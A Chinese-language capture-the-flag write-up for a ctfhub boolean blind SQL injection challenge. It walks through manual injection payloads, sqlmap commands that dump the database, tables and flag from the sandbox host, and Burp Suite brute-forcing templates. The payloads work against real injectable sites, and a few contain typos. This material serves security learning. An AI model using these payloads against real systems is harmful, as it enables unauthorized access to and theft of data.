题目来源：ctfhub技能树
目录
一、基本操作：整理已知信息，得到本题为布尔注入
方法一：手工盲注（不推荐）
step 1：判断具体形式
step 2：查询字段数
step 3：通过回显判断数据库名的长度和每个字符
1.判断长度
2.判断每个字符
step 4：判断有几个表以及各个表名的长度和每个字符
1.判断表的数量
编辑
编辑
2.判断长度
3.判断字符
编辑
step 5：判断列数以及各个列的长度和字符
1.判断列数
2.判断长度
3.判断字符
方法二：sqlmap爆数据库、表名、列名
step 1：爆数据库名
编辑编辑
step 2：爆表
step 3：爆列
方法三：burpsuit抓包，爆数据库、表名、列名
step 1：判断数据库名的长度以及符号
1.判断长度
2.判断字符
编辑
step 2：判断表的数量以及长度、字符
step 3：判断列数以及长度、字符
step 4：爆破数据
1.爆破长度
2.爆破具体数据
方法四：脚本爆数据库、表名、列名
一、基本操作：整理已知信息，得到本题为布尔注入
有三个方法，手工盲注必须了解，但是很麻烦，得一个个尝试对错，所以利用工具更方便，例如：sqlmap、bp爆信息、脚本循环遍历
方法一：手工盲注（不推荐）
step 1：判断具体形式
键入：1 #
键入：1 and 1=2 #
键入：1' #
所以可以得到本题也为整数型注入
step 2：查询字段数
键入：1 order by 3 #
键入：1 order by 2 #
寻常方法，如：1 and 1=2 union select database(),database() #没有用，毕竟只会回显1或0
step 3：通过回显判断数据库名的长度和每个字符
length(str)函数：用于获取字符串长度的函数
substr()函数：用于从字符串中提取子字符串
1.判断长度
1 and length(database())=1 #
1 and length(database())=4 #
所以数据库名长度为4
2.判断每个字符
1 and substr(database(),1,1)='a' #
1 and substr(database(),1,1)='s' #
1 and substr(database(),2,1)='q' #
1 and substr(database(),3,1)='l' #
1 and substr(database(),4,1)='i' #
得到数据库名为sqli（按照前几题的经验），如果是陌生的题，建议用sqlmap或者burpsuit爆破
step 4：判断有几个表以及各个表名的长度和每个字符
1.判断表的数量
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1 #
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2 #
2.判断长度
第一个表名长度
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1))=4 #
第二个表名长度
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1))=4 #
3.判断字符
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n' #
step 5：判断列数以及各个列的长度和字符
1.判断列数
1 and (select count(column_name) from information_schema.columns where table_name='flag')=1 #
2.判断长度
1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4 #
3.判断字符
1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’方法二：sqlmap爆数据库、表名、列名
step 1：爆数据库名
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 --current-db
得到数据库名为sqli
step 2：爆表
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
得到一共两个表，分别为flag和news
step 3：爆列
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
得到只有一列
step 4：爆具体数据
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch
得到flag
方法三：burpsuit抓包，爆数据库、表名、列名
这里要用到ASCII表
step 1：判断数据库名的长度以及符号
1.判断长度
在框内输入
1 and length(database())=1#然后进行抓包、爆破
得到数据库名字符串的长度为4
2.判断字符
1 and ascii(substr(database(),1,1))=100#
第一个字符为s
后面字符修改为
1 and ascii(substr(database(),2,1))=100#依次可以得到
第二个字符为q
第三个字符为l
第四个字符为i
所以数据库名为sqli
step 2：判断表的数量以及长度、字符
1.判断表数详见方法一
2.判断长度同样输入payload再抓包
payload：1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=x #
注：x为爆破点
3.判断字符同上
payload：1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#
注：100则为爆破点
得到表名为news、flag
step 3：判断列数以及长度、字符
1.判断列数
payload：1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1#
2.判断长度同样输入payload再抓包
payload：1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=x #
注：x为爆破点
3.判断字符
payload：1 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'flag' order by ordinal_position limit 0,1), 1, 1)) = x #
注：x为爆破点；ordinal bu_position：按照列的顺序位置排序
step 4：爆破数据
1.爆破长度
payload：1 and (select length(flag) from sqli.flag limit 1) = 10 #
注：10为爆破点
2.爆破具体数据
payload：1 and ascii(substr((select flag from sqli.flag limit 0,1), 1, 1)) = 99 #
注：99为爆破点
一个一个爆破太久了，所以还是sqlmap好用
方法四：脚本爆数据库、表名、列名
引用脚本：CTFhub的布尔盲注_ctfhub布尔盲注-CSDN博客
python还不会用，先放这
